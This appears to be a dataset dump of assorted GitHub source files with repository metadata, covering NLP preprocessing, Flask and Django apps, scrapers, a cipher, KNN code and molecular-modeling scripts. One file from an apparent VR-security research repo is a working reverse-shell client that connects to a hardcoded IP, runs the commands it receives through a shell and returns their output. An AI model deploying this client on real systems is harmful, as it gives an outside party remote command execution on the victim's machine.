blob_id stringlengths 40 40 | directory_id stringlengths 40 40 | path stringlengths 2 616 | content_id stringlengths 40 40 | detected_licenses listlengths 0 69 | license_type stringclasses 2
values | repo_name stringlengths 5 118 | snapshot_id stringlengths 40 40 | revision_id stringlengths 40 40 | branch_name stringlengths 4 63 | visit_date timestamp[us] | revision_date timestamp[us] | committer_date timestamp[us] | github_id int64 2.91k 686M ⌀ | star_events_count int64 0 209k | fork_events_count int64 0 110k | gha_license_id stringclasses 23
values | gha_event_created_at timestamp[us] | gha_created_at timestamp[us] | gha_language stringclasses 213
values | src_encoding stringclasses 30
values | language stringclasses 1
value | is_vendor bool 2
classes | is_generated bool 2
classes | length_bytes int64 2 10.3M | extension stringclasses 246
values | content stringlengths 2 10.3M | authors listlengths 1 1 | author_id stringlengths 0 212 |
|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
b0501f9a2974e25181fca27f9db4e0b727435d7d | 3ea56fbaaa5382b752a5a752eb911267f9d93756 | /src/helpers/preprocessing.py | f75b61b02b3b9db7c70f5e0bfdae518216b529ac | [] | no_license | dantodor/question-generation | 888555b40dd0c2b0f081ea25b0cd481206bfa947 | 49d3404d5d984c987b233cecaac7213b814f17bb | refs/heads/master | 2020-03-28T10:08:36.426920 | 2018-09-06T15:31:51 | 2018-09-06T15:31:51 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 13,547 | py | import numpy as np
import string
# import tensorflow as tf
from nltk.tokenize import TreebankWordTokenizer, sent_tokenize
use_nltk = True
from helpers.loader import OOV, PAD, EOS, SOS
# def get_2d_spans(text, tokenss):
# spanss = []
# cur_idx = 0
# for tokens in tokenss:
# spans = []
# fo... | [
"tomhosking@gmail.com"
] | tomhosking@gmail.com |
e1a1cca35ab531ef4ab7f16081728f13d3af2a8f | 71ac26b94862581a50ed859be89724ac01ee3c88 | /main.py | e60973be089a376fd96f6a3b061eedfd3d236246 | [
"Apache-2.0"
] | permissive | anderct105/va-questionnaire-3d | c7318b97b34fb876f3af7f72813806c26d737cce | a95650703e650c4c0640ab22d4db325799f15e70 | refs/heads/main | 2023-03-20T03:31:27.120751 | 2021-03-18T14:55:24 | 2021-03-18T14:55:24 | 326,024,322 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,443 | py | """
Author: Ander Cejudo
Github: https://github.com/anderct105/va-questionnaire-3d
"""
from utils.CargarCuestionario import CargarCuestionario
from utils.CargarEmbedding import CargarEmbedding
from utils.Preprocesar import Preprocesar
from utils.RepresentarEmbedding import RepresentarEmbedding
def menu():
with open(... | [
"anderct105@gmail.com"
] | anderct105@gmail.com |
b51c245b608cb68020be7de643b065f7e762282f | dde099db439abfca01f26f3508ea0b4d46e32781 | /market_maker/utils/errors.py | f05690f058f7e6cfee91bd2f2ebf1116cd197c27 | [
"Apache-2.0"
] | permissive | BitMEX/sample-market-maker | 31f01804493bf2a19809bf58eaa175275d0a5d1a | 96e81afba02badf65451286a610c584187860a09 | refs/heads/master | 2023-05-27T15:08:57.706481 | 2023-05-24T08:02:34 | 2023-05-24T08:02:34 | 22,843,158 | 1,722 | 980 | Apache-2.0 | 2023-05-24T08:02:36 | 2014-08-11T15:03:37 | Python | UTF-8 | Python | false | false | 138 | py | class AuthenticationError(Exception):
pass
class MarketClosedError(Exception):
pass
class MarketEmptyError(Exception):
pass
| [
"samuel.trace.reed@gmail.com"
] | samuel.trace.reed@gmail.com |
01c30bb4de79bdd220d19d24afc4f77b0c35af30 | 916e5893558d1ae867d9973f8944bbdd654e99c0 | /InstagramAPI.py | b7c03b1b0466d0e757d822e46fb9edff1beab91f | [] | no_license | behnazeslami/Python_InstagramAPI | 2de2cb32776cd3889aab7669c900e3f4ed304993 | 72bc5e0d8678f3b56d1f47fee7a787c1bfc9db61 | refs/heads/main | 2023-08-05T06:28:35.562588 | 2021-09-20T18:37:32 | 2021-09-20T18:37:32 | 408,556,651 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 929 | py | # This code is written by Behnaz Eslami - behnazeslami30@gmail.com
import requests
import time
import json
arr = []
end_cursor = '' # empty for the 1st page
tag = 'russia' # your tag
page_count = 5 # desired number of pages
for i in range(0, page_count):
url = "https://www.instagram.com/explore/tags/{... | [
"noreply@github.com"
] | behnazeslami.noreply@github.com |
ff505e8d74891a59f7c13c21d9290044384e1e23 | 50019debbf18849495541bba031e48520d15bc37 | /webarc/main/views.py | e70001094fda4d0b1a16bcfd2993d0655ad95b9b | [] | no_license | INFO253-FL2017/assignment-2-leon-lee-jl | cbf5500ddc3fce0612371b8f4a6fd9136b1aa669 | 6dd2b5800ab25e1a62bd4cc3406e48342e6a8192 | refs/heads/master | 2021-07-11T14:57:57.398622 | 2017-10-16T13:02:16 | 2017-10-16T13:02:16 | 104,949,605 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,051 | py | from flask import render_template, request, jsonify
from flask import Blueprint
import requests
from webarc import app
main_blueprint = Blueprint('main', __name__,)
@main_blueprint.route('/')
@main_blueprint.route('/index')
def index():
return render_template('index.html')
@main_blueprint.route('/about')
def ab... | [
"leon.lee@berkeley.edu"
] | leon.lee@berkeley.edu |
5989ffeadbcb72d4d1597d097fc8e2f8a3c4fa19 | 317b42f142034defeeba00ca6a50efd083f9cf61 | /app/core/migrations/0004_recipe.py | 6bdc83323cdd0c4db749d8cf51c8a0b08353e789 | [
"MIT"
] | permissive | shaunbevan/recipe-app-api | dee79e116873c5882e8759d0cc59680b38f3ea94 | 30727efce633b8289523ee1ff336cbfa77d5321d | refs/heads/main | 2023-02-25T15:08:41.955208 | 2021-02-03T04:47:53 | 2021-02-03T04:47:53 | 333,582,412 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,350 | py | # Generated by Django 3.1.5 on 2021-01-31 02:46
from django.conf import settings
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
("core", "0003_ingredient"),
]
operations = [
migrations.CreateModel(
... | [
"tbevan@gmail.com"
] | tbevan@gmail.com |
162d0c3416325f0b52160d717600c38d7ea8a43f | c9563e0dacb5cc19fe5ea42eab858b9c7cbbf1f0 | /Part2/classes.py | 892b3d00d0991ca20a90df1edadc686ee4c3b0a0 | [
"Unlicense"
] | permissive | Torkvamedo/smx | 0f06fcdfc017ad0764592a44da9f558fe58d079c | a5aef4f430f56ac67100c505902f55e18fba5978 | refs/heads/master | 2021-01-09T20:30:46.439532 | 2017-06-27T17:18:15 | 2017-06-27T17:18:15 | 81,243,375 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,880 | py | class Heroes():
'''Class to create Heroes of our game'''
def __init__(self, name, level, race):
"""initiate our hero"""
self.name = name
self.level = level
self.race = race
self.health = 100
def show_hero(self):
"""print all parameters of this hero"""
... | [
"campfireinsnow@gmail.com"
] | campfireinsnow@gmail.com |
67b6eac4b839bee329e73be49044b9c3f51e22de | 9bc26e56a4a797857bc5ea68abf93af0887c8dd0 | /remote.py | 0adea86778ddd9c9982cea7d1d976875dd95e88f | [] | no_license | aymanim/movielocal | 6a8f38191cb9d8cbb52b5fee740bb5c2f812fadc | a6c450cb6ceba08187795f32dc0598842f2895dc | refs/heads/master | 2021-01-10T19:42:22.726799 | 2012-08-19T02:37:04 | 2012-08-19T02:37:04 | 5,467,789 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 4,731 | py | import ftputil
import moviesearch
import ftp_settings
import pickle
import os
import datetime
import time
import re
import threading
NUM_THREADS = 12
FILE_SIZE_THRESHOLD = 500 * 1024 * 1024
valid_movie_extensions = ["wmv", "avi", "mpeg", "mpg4", "mkv", "mp4"]
common_words = ["the", "a", "of", "and"]
movie_database_... | [
"amplenerd@gmail.com"
] | amplenerd@gmail.com |
cd4b815067016405eb93fe5c654761083c4f61b4 | 4cc3060aa8992c15e01f00a0452d8ebf99dd920a | /Attacks/Vive-Attack-Console/client.py | f51fe5ac1503a83fbc6f643d6ebcb8a1350500b9 | [
"MIT"
] | permissive | BiTLab-BaggiliTruthLab/VR4Sec | 368318956693d4a0759500a5d710e834695b14ee | 2547afcd064b6f765f4003b90da2cb618d12bc62 | refs/heads/master | 2023-03-16T11:52:24.369773 | 2019-08-14T16:38:24 | 2019-08-14T16:38:24 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 610 | py | import os, socket, subprocess
s = socket.socket()
host = '172.19.38.76'
port = 9999
s.connect((host, port))
while True:
data = s.recv(1024)
if data[:2].decode("utf-8") == 'cd':
os.chdir(data[3:].decode("utf-8"))
if len(data) > 0:
cmd = subprocess.Popen(data[:].decode("utf-8"), shell = True... | [
"peter.gromkowski@gmail.com"
] | peter.gromkowski@gmail.com |
da40fd8aa1c499ade27540e22d5d1e015b892fc8 | 24d8cf871b092b2d60fc85d5320e1bc761a7cbe2 | /eXe/rev2735-2828/left-trunk-2828/twisted/test/test_assertions.py | 55df7afafc27ce116c45e80d60de6ecfab5867d6 | [
"MIT",
"LicenseRef-scancode-unknown-license-reference"
] | permissive | joliebig/featurehouse_fstmerge_examples | af1b963537839d13e834f829cf51f8ad5e6ffe76 | 1a99c1788f0eb9f1e5d8c2ced3892d00cd9449ad | refs/heads/master | 2016-09-05T10:24:50.974902 | 2013-03-28T16:28:47 | 2013-03-28T16:28:47 | 9,080,611 | 3 | 2 | null | null | null | null | UTF-8 | Python | false | false | 669 | py | from twisted.trial import unittest
from twisted.python import failure
class Assertions(unittest.TestCase):
def testExceptions(self):
exc = self.assertRaises(ZeroDivisionError, lambda: 1/0)
assert isinstance(exc, ZeroDivisionError), "ZeroDivisionError instance not returned"
for func in [lambd... | [
"joliebig@fim.uni-passau.de"
] | joliebig@fim.uni-passau.de |
ecfafbddea6cb8a1005d0e27ba8a10b2fe944d12 | f5a3f81aeb15b767ae4582842facc05310f92fc7 | /searching/sequential/sequential.py | 770821173a6a21c0b74b51ace8eb768026ecfedf | [] | no_license | muhallan/algorithms | edc021b749d5462cf61724257100333986be20bc | c0eef989918f071a04f90bc56e6f6c609bd9c83e | refs/heads/master | 2021-06-26T15:38:27.678403 | 2019-06-21T06:28:46 | 2019-06-21T06:28:46 | 147,846,616 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 388 | py | def sequential_search(list_to_search, item):
found = False
index = 0
while index < len(list_to_search) and not found:
if list_to_search[index] == item:
found = True
else:
index += 1
return found
# testing
even_nums = [2, 4, 6, 8, 10]
# find 5
print(sequential_se... | [
"allan.muhwezi@andela.com"
] | allan.muhwezi@andela.com |
2c081fceed78b55a7d89a0b92c61ad041dba4e70 | 5c5ea66184e1b62fa05a40168e5f8e6ccb7ac958 | /app/review/urls.py | cdebec198330262eb6b6df4c311c5c25f1cc888c | [] | no_license | amitbhalla/feelfreetocode | ce757b8c075509be62c1204de7ed1e5b313d8c8a | 9d642fbda8278d40270b318cc625051848410cec | refs/heads/main | 2023-07-11T03:52:25.272889 | 2021-08-29T16:40:12 | 2021-08-29T16:40:12 | 396,765,258 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 124 | py | from django.urls import path
from .views import test_view
urlpatterns = [
path("test/", test_view, name="test-api"),
]
| [
"amit9815@gmail.com"
] | amit9815@gmail.com |
00991077f6a5359ded0a86e65f894c7c40050c85 | 6fa7f99d3d3d9b177ef01ebf9a9da4982813b7d4 | /FiPf9yTEfo5aBikPF_8.py | 97078faf7f02374fa833a7b236d05ec723cafa2d | [] | no_license | daniel-reich/ubiquitous-fiesta | 26e80f0082f8589e51d359ce7953117a3da7d38c | 9af2700dbe59284f5697e612491499841a6c126f | refs/heads/master | 2023-04-05T06:40:37.328213 | 2021-04-06T20:17:44 | 2021-04-06T20:17:44 | 355,318,759 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 182 | py |
def coins_combinations(target, coins):
ways = [1] + [0] * target
for coin in coins:
for i in range(coin, target + 1):
ways[i] += ways[i - coin]
return ways[target]
| [
"daniel.reich@danielreichs-MacBook-Pro.local"
] | daniel.reich@danielreichs-MacBook-Pro.local |
499f6d90b53fc65d2df4ef3898feec12f9ac46d5 | cd7897102db3d46738353880dac3376773c09002 | /blog/members/views.py | 0c62115c4c5e5fdbd9c960aa81baa806a3d3c4d9 | [] | no_license | yaroslavgladunn/simpleblog | bd01c42c84827aa6a8bc254dbc0f856a4e8cbcd8 | a621cf9e6bd4c3c58aae71062ea77882c4bdc0fb | refs/heads/master | 2023-06-28T00:21:58.098537 | 2021-07-28T14:13:34 | 2021-07-28T14:13:34 | 390,375,918 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,200 | py | from django.shortcuts import render, get_object_or_404
from django.urls import reverse_lazy
from django.views import generic
from django.views.generic import DetailView, CreateView, ListView
from django.contrib.auth.forms import UserCreationForm, UserChangeForm
from . forms import SignUpForm, UpdateProfileForm, Passwor... | [
"debtyman@gmail.com"
] | debtyman@gmail.com |
272c8d246f2d0edc452d824052b27a930915a10d | f7dcfa02f2cbf0838767b7d3fdbea4de7af22f39 | /NetworkSecurityLab1/NetworkSecurityLab1.py | f05e78c049d1afc3859fa15ae19509473fdf3e00 | [] | no_license | mutterbucket/NetworkSecurity | baacab24e26c36e9a0327e3d2a50bff490e4d8e9 | 1fed3869210a3f96d1cdca3949340351d0a9520a | refs/heads/master | 2021-03-24T20:49:31.406616 | 2020-03-15T22:40:50 | 2020-03-15T22:40:50 | 247,564,059 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,471 | py | alphabet = ['A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M',
'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z']
def encrypt():
key = input("What is the key for the Caesar shift? ")
key = key.upper() #Everything is processed uppercase
keyindex = alphabet.index(key)
pla... | [
"43102357+mutterbucket@users.noreply.github.com"
] | 43102357+mutterbucket@users.noreply.github.com |
cc2a1b35d826a740d1f8d108cb04d6b8939050ba | 8ab66dcf8e91734d730f7799839ceddfa289b4cd | /barnacle-1.0.0/src/parsers/genes/ensg.py | 1ef1afad3eb1dbc3815c9f89c921f5cdd72be45f | [] | no_license | ptraverse/gsc | 7bbbe67652575b5e7d3ca68e85a213fd7536125d | 21e6b699f91cf9604f973d51745c3975cbd8e22c | refs/heads/master | 2021-01-23T17:58:50.910026 | 2013-01-03T09:06:05 | 2013-01-03T09:06:05 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,951 | py | """
ensg.py
Created by Readman Chiu
Edited by Lucas Swanson
Copyright (c) 2012 Canada's Michael Smith Genome Sciences Centre. All rights reserved.
"""
import transcript
from optparse import OptionParser
import os
fields = {0:"name", 1:"chrom", 2:"strand", 3:"txStart", 4:"txEnd",
5:"exonCount", 6:"exonStarts", 7:"e... | [
"philippe.traverse@gmail.com"
] | philippe.traverse@gmail.com |
d6d54dd17e23114be695e165facff7061e49ed26 | f1e3535eb173076192b4e0f2ac7b7025c574c576 | /vacancy.py | 0ae4f08ca96c8a808d537f95e9dab3d503680cd4 | [] | no_license | ravi2129/HotelBillingSystem | 90dcf63f679b871e430d4bafb38b3fa6dadc9f95 | 3f2809c8fe05d8771d164e1a4965295801ebf3b4 | refs/heads/master | 2023-06-16T23:03:21.903826 | 2021-07-16T17:11:20 | 2021-07-16T17:11:20 | 386,711,431 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,847 | py | from tkinter import *
import mysql.connector
root = Tk(className=" HOTEL MANAGEMENT")
root.geometry('1200x600')
# heading
heading_label = Label(root, text="--------- ALL VACANCIES ---------", font=('Orbitron', 15), bg="black", fg="white")
heading_label.pack(fill=X)
top_frame = Frame(root)
top_frame.pack()
# label... | [
"ravirajdange1234@gmail.com"
] | ravirajdange1234@gmail.com |
92c3e4dd4b78b2184b1fa13bbb9217ce0ce57cc7 | b9b19245a0d5bafbc33ca46c204cee61cb34549b | /Test-Site/app/DATA.py | c6defff07a07fa409aff12df1e32477131fd6686 | [] | no_license | minhminh322/vinhr-test-site | f2cf5a81ad4e25e5e99d47f3a1dc23d346e9e8c7 | 2601457e73f59d9f4e99c1c0a10388fd5683157b | refs/heads/master | 2022-04-10T04:18:20.151454 | 2019-12-17T05:07:01 | 2019-12-17T05:07:01 | 228,536,347 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,340 | py | import numpy as np
from datetime import datetime, timedelta
from pathlib import Path
import subprocess
import os
from src.imports import *
from src.connectors import cosmos
from time import time
import pandas as pd
from config import (
DATA_FILENAME,
DATA_FOLDER
)
def init_():
# global DB... | [
"ptminh2013@gmail.com"
] | ptminh2013@gmail.com |
61bbc1803f66e0ce1eb371b599d5c88b02d5222a | 6beeacc1cfff817885ee25f8eee9e6beb4225e14 | /forms.py | 115c6a9d672288a98eb1d06ca9f0ff51fe174b2f | [] | no_license | Aaqib5wani/blogging-web-app | 52f80678b6b5e1e251f578c7bdc3fb191636f4b8 | 479d3f4a6f88c4d35390c36edc77e9d5b7f379c1 | refs/heads/main | 2023-05-01T23:50:16.247450 | 2021-05-22T22:37:32 | 2021-05-22T22:37:32 | 353,586,181 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,260 | py | from flask_wtf import FlaskForm
from wtforms import Form,validators,StringField,SubmitField,PasswordField,TextField,TextAreaField
from wtforms.validators import DataRequired,length,Email,EqualTo,email_validator
class Register(FlaskForm):
username = StringField('Username',validators=[DataRequired(),length(max=20,... | [
"aqib.ahmad76@yahoo.com"
] | aqib.ahmad76@yahoo.com |
c2fed0456acb3e83e3cc74e55ca7759f86496a17 | 9217fc7adb14677a60b928e114bcbfa48eeae2c1 | /FIbonacci sequence generator.py | 69150f71431d6b9ec35ee2668f997dc65aac9900 | [] | no_license | DaniloPierpaoli/Some-code-might-make-sense-Python- | e26a883ec8f0ecc09430243a9c5188d86ef8ad5e | 540298cbf35e7f7d54988e498a103241020d7e7c | refs/heads/main | 2023-02-28T18:56:33.890753 | 2021-02-11T21:05:18 | 2021-02-11T21:05:18 | 305,863,881 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 1,788 | py | ''' This script generates n numbers within the Fibonacci sequence.
It contains a main function and a nested function within it'''
def fib_gen(n):
'''This function is called by main_func().
It's a generator that takes n as argument.
It iterates n times'''
iterations = 0
fib_num = 0
next_... | [
"noreply@github.com"
] | DaniloPierpaoli.noreply@github.com |
0b517f1055cff39cd955e436fb7d0efeb2a31469 | 3d504a0bc1c110d8c63daf485aa0bd0491068d72 | /StockBot/config.py | ae73823705fcde9a3f515c3f1ca6940ed12e21e2 | [
"MIT"
] | permissive | parateakshay/StockBot | 4bd3126fffc6dac91eca5882bbecf9769fc46fda | 2f50da19451b352ae6d27f6b8c7cf3b2744c321b | refs/heads/main | 2023-05-16T23:45:02.854056 | 2021-05-30T06:22:45 | 2021-05-30T06:22:45 | 372,135,004 | 1 | 1 | null | null | null | null | UTF-8 | Python | false | false | 204 | py | # enter your own api key and api secret from your binance account
API_KEY = 'quoYMl0sL********************Lir8BXW1H8C1Qg******pXTeWhU9wKy'
API_SECRET = 'oI72****************LhIlh66BZpiVWwEZ2R2*******zRGD' | [
"49017391+parateakshay@users.noreply.github.com"
] | 49017391+parateakshay@users.noreply.github.com |
3aa1a3ed0fa9ca760bd6c4c5d61f13ee0d6e9421 | 5b8d0cd314fdd4537bc77ce9209ca903694b02e8 | /datasets/un_multi/un_multi.py | a6feaad48a61c782c0fa14b118fc5305145bbcf2 | [
"Apache-2.0"
] | permissive | amankhandelia/datasets | 97106f6d98b9cd17c50b1bf0c91f4ced6240dfd6 | 1a138f9bd2d1b62a255736375001bf918d36508d | refs/heads/master | 2023-06-21T01:08:25.212378 | 2021-07-26T13:27:59 | 2021-07-26T13:27:59 | 389,644,974 | 1 | 0 | Apache-2.0 | 2021-07-26T14:36:09 | 2021-07-26T13:36:08 | null | UTF-8 | Python | false | false | 4,634 | py | # coding=utf-8
# Copyright 2020 The HuggingFace Datasets Authors.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by app... | [
"noreply@github.com"
] | amankhandelia.noreply@github.com |
cfab785ce084dc5579df6d95bd1a5684db5979c8 | 1180c0bfe29959d95f3c131e6e839950e528d4ee | /27/bbelderbos/reddit.py | 0cd0f37cd9d9c63eac8c4db733b8ed907e730fa1 | [] | no_license | pybites/challenges | e3e461accd8e7f890aee8007ba5070086ef983fc | 02b77652d0901e6e06cb9b1e7cb3e59c675445c2 | refs/heads/community | 2023-08-20T18:19:02.982214 | 2022-11-17T09:23:31 | 2022-11-17T09:23:31 | 78,264,928 | 764 | 3,115 | null | 2023-07-21T05:58:19 | 2017-01-07T07:17:50 | Jupyter Notebook | UTF-8 | Python | false | false | 664 | py | import os
import praw
DEFAULT_SUBREDDIT = 'learnpython'
reddit = praw.Reddit(client_id=os.environ.get('PRAW_CLIENT_ID'),
client_secret=os.environ.get('PRAW_CLIENT_SECRET'),
password=os.environ.get('PRAW_PASSWORD'),
user_agent='pybites_codechallenges by /... | [
"pybites@projects.bobbelderbos.com"
] | pybites@projects.bobbelderbos.com |
a365c0900c5259c9243e20eb8b7601ae313932a4 | da717bc538ac2606c881e917e862b6a6ed7dee55 | /models/time.py | 3e49c6388cb21b46c4bfebc84d69280ebe2c2ec8 | [] | no_license | bavaria95/taxi-service | 25f59f6949a037112f4a95fd0054273ec16d7ba7 | 463db8fdc26e417d43fa201451903afd942c1a27 | refs/heads/master | 2022-11-30T01:21:22.689407 | 2020-08-06T22:49:02 | 2020-08-06T22:49:02 | 285,102,153 | 0 | 1 | null | null | null | null | UTF-8 | Python | false | false | 435 | py | class Time(object):
'''
Represents time entity in our world.
By default we start from timestamp 0
By calling `.tick` method we increment time in our world (by default on 1 unit)
'''
def __init__(self, time=0):
self._time = time
def __repr__(self):
return self._t... | [
"petruk@ebu.ch"
] | petruk@ebu.ch |
f5bb3595b110a02703f4d2c0f334882150534e0d | bb52e1ad4b70b1e26a7e075258dcc7cc9afc3670 | /hw3/CS430_AakefWaris_HW3/dataStructures/Trees.py | 9d0aa38df26be7548f32aee42be6774c8f41b329 | [] | no_license | awaris123/cs430 | 644c557bf4225aaf474ae0b1ab7bd5afa22d7946 | 27ae28d6fd3ff6f8705c4dde43341882ffdb900d | refs/heads/master | 2022-07-14T19:03:13.773947 | 2020-03-10T21:01:05 | 2020-03-10T21:01:05 | 239,395,459 | 0 | 1 | null | 2022-06-22T01:24:02 | 2020-02-10T00:14:31 | Python | UTF-8 | Python | false | false | 1,589 | py | class Heap:
def __init__(self, key=lambda x:x):
self.data = []
self.key = key
@staticmethod
def _parent(idx):
return (idx-1)//2
@staticmethod
def _left(idx):
return idx*2+1
@staticmethod
def _right(idx):
return idx*2+2
def heapify(... | [
"awaris@hawk.iit.edu"
] | awaris@hawk.iit.edu |
98ca1c0a18b55a68e9da55eca21ddd19fec6a124 | 8232c899532ac77c5b20f0651bac062c57509a7f | /Aulas/032.py | 0d6891f0540afa5e503fe59e26409084e968fa0b | [] | no_license | Rollbusch/Learning-Python | 1b9d957e0090d8095e95b150494614fcc69defc2 | de8b3c78dad472bf8690edd0adfcb75e3a1159ac | refs/heads/main | 2023-05-05T00:43:26.677134 | 2021-05-19T15:47:13 | 2021-05-19T15:47:13 | 368,921,977 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 346 | py | from datetime import date
ano = int(input('Que ano quer analisar ? Coloque 0 para analizar o ano atual: '))
if ano == 0:
ano = date.today().year # importa o ano do dia de hoje.
if ano % 4 == 0 and ano % 100 != 0 or ano % 400 == 0:
print('O ano É bissexto')
else:
print('O ano NÃO É bissexto')
print('Ano anal... | [
"RollbuschPlay@hotmail.com"
] | RollbuschPlay@hotmail.com |
1283c2282531b9e62beb9fa486f32df182acf868 | 781e2692049e87a4256320c76e82a19be257a05d | /assignments/python/series/src/139.py | 8e64d3c15de6596fb8a75a48d232e64b488e519a | [] | no_license | itsolutionscorp/AutoStyle-Clustering | 54bde86fe6dbad35b568b38cfcb14c5ffaab51b0 | be0e2f635a7558f56c61bc0b36c6146b01d1e6e6 | refs/heads/master | 2020-12-11T07:27:19.291038 | 2016-03-16T03:18:00 | 2016-03-16T03:18:42 | 59,454,921 | 4 | 0 | null | 2016-05-23T05:40:56 | 2016-05-23T05:40:56 | null | UTF-8 | Python | false | false | 335 | py | def slices(numbers, slicesize):
numlist = []
resultlist = []
for i in xrange(len(numbers)):
numlist.append(int(numbers[i]))
for i in xrange(len(numlist)-slicesize+1):
if not numlist[i:i+slicesize]:
pass
else:
resultlist.append(numlist[i:i+slicesize])
if not resultlist:
raise ValueError()
else:
ret... | [
"rrc@berkeley.edu"
] | rrc@berkeley.edu |
a6aca129c6f8fbfc57a41360378db1348932274e | fae3d8d975aacf82bc38d05bc47ab698b159fb9f | /euclid.py | 931960414e291f188a544c58a0a47bef7d8c7cad | [] | no_license | radsn23/ML-alg | 666d234dc86eecaf28a030ee81aabe40e3ded223 | c48f75bc0e1db0c6b8941843a613ddb155425cff | refs/heads/master | 2021-06-13T14:38:49.664247 | 2017-02-16T07:56:47 | 2017-02-16T07:56:47 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 2,036 | py | import numpy as np
from math import sqrt
import warnings
from collections import Counter
import pandas as pd
import random
# [[plt.scatter(ii[0],ii[1], s=100, color = i) for ii in dataset[i]] for i in dataset]
# plt.scatter(new_features[0], new_features[1])
# plt.show()
def knn(data,predict,k = 3):
if len(data) >= ... | [
"noreply@github.com"
] | radsn23.noreply@github.com |
754717027be5b479d0aaf6b94d7fe00fabf44715 | cee561c3f65aa793b2ce803a3ac775f811a448f8 | /project/axf/migrations/0001_initial.py | 30f36a422f80f101b09ec168679fa4b35ec6e7d0 | [] | no_license | PADDDog/axf | a8cb5ad45f8450521b3df63b6c53e88671f76a7b | 2527dbb7914dbe657bd84f8bfb2a0efe35f99e09 | refs/heads/master | 2020-04-24T19:28:45.638178 | 2019-02-25T09:33:48 | 2019-02-25T09:33:48 | 172,213,325 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 8,081 | py | # Generated by Django 2.1.4 on 2019-02-20 17:01
from django.db import migrations, models
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.CreateModel(
name='Cart',
fields=[
('id', mode... | [
"13580217851@163.com"
] | 13580217851@163.com |
6b355314e228ed79113740c3ce9617049177d3e2 | 985f9c96c687412f44f54aba06c52d8e95505dcd | /parkings/serializers.py | b78a331d7b1a2768cbc016b3df1f639d2a8198e7 | [] | no_license | luke92/parkings-api-django | a3c485d31d4c3c365fd4ca0b1ba7d06fc22938d8 | db6039a01de158614d4f91f166e518e0e7cb9b3b | refs/heads/master | 2021-09-27T21:48:40.952424 | 2018-11-11T23:49:16 | 2018-11-11T23:49:16 | null | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 435 | py | from rest_framework import serializers
from .models.Parkings import Parkings
from .models.Configuration import Configuration
class ParkingsSerializer(serializers.ModelSerializer):
class Meta:
model = Parkings
fields = ("id", "tl_x", "tl_y", "br_x", "br_y", "isOccupied")
class ConfigurationSerial... | [
"cristian.daniel.ortega@gmail.com"
] | cristian.daniel.ortega@gmail.com |
faed21171cc2de0cc838c6b5790f70c3e106d0a1 | db1d7c6d2e2bf04609fbeef739f9ef8de730ae41 | /python/unit_test/test_all.py | f260514d7c4965024c7f6621a4b4fa7acdefc3fe | [] | no_license | mhyeagle/programming-language | 752e42725bf03c0f35c8c84b3d710a58a90ad407 | 8d2d2a8052a8ed8b178ac1d87a23d7fc8ed3803e | refs/heads/master | 2021-01-20T01:50:59.730843 | 2019-12-23T13:21:42 | 2019-12-23T13:21:42 | 83,811,026 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 750 | py | #!/usr/bin/python3
import os
import sys
import unittest
home_dir = os.path.split(os.path.realpath(__file__))[0]
sys.path.append(home_dir + "/unittest")
print("home_dir", home_dir)
print(sys.path)
import class_1_test
import class_2_test
def suite():
modules_to_test = ('class_1_test',
'class... | [
"tianyashuibin@163.com"
] | tianyashuibin@163.com |
e6d2dde3fc8bfe1534bc193ea46eac1ebcfe7639 | 47b4d76e9c87e6c45bab38e348ae12a60a60f94c | /Mutation_Modules/THR_MNT.py | fde9b14924c5c02cbf6e4b6deaea501455c28692 | [] | no_license | PietroAronica/Parasol.py | 9bc17fd8e177e432bbc5ce4e7ee2d721341b2707 | 238abcdc2caee7bbfea6cfcdda1ca705766db204 | refs/heads/master | 2021-01-10T23:57:40.225140 | 2020-10-14T02:21:15 | 2020-10-14T02:21:15 | 70,791,648 | 0 | 0 | null | null | null | null | UTF-8 | Python | false | false | 12,736 | py | # THR to MNT Mutation
import Frcmod_creator
import PDBHandler
import Leapy
from parmed.tools.actions import *
from parmed.amber.readparm import *
def parmed_command(vxi='VXI', lipid='No'):
bc = {}
with open('Param_files/AminoAcid/THR.param', 'r') as b:
data = b.readlines()[1:]
for lin... | [
"pietro.ga.aronica@gmail.com"
] | pietro.ga.aronica@gmail.com |
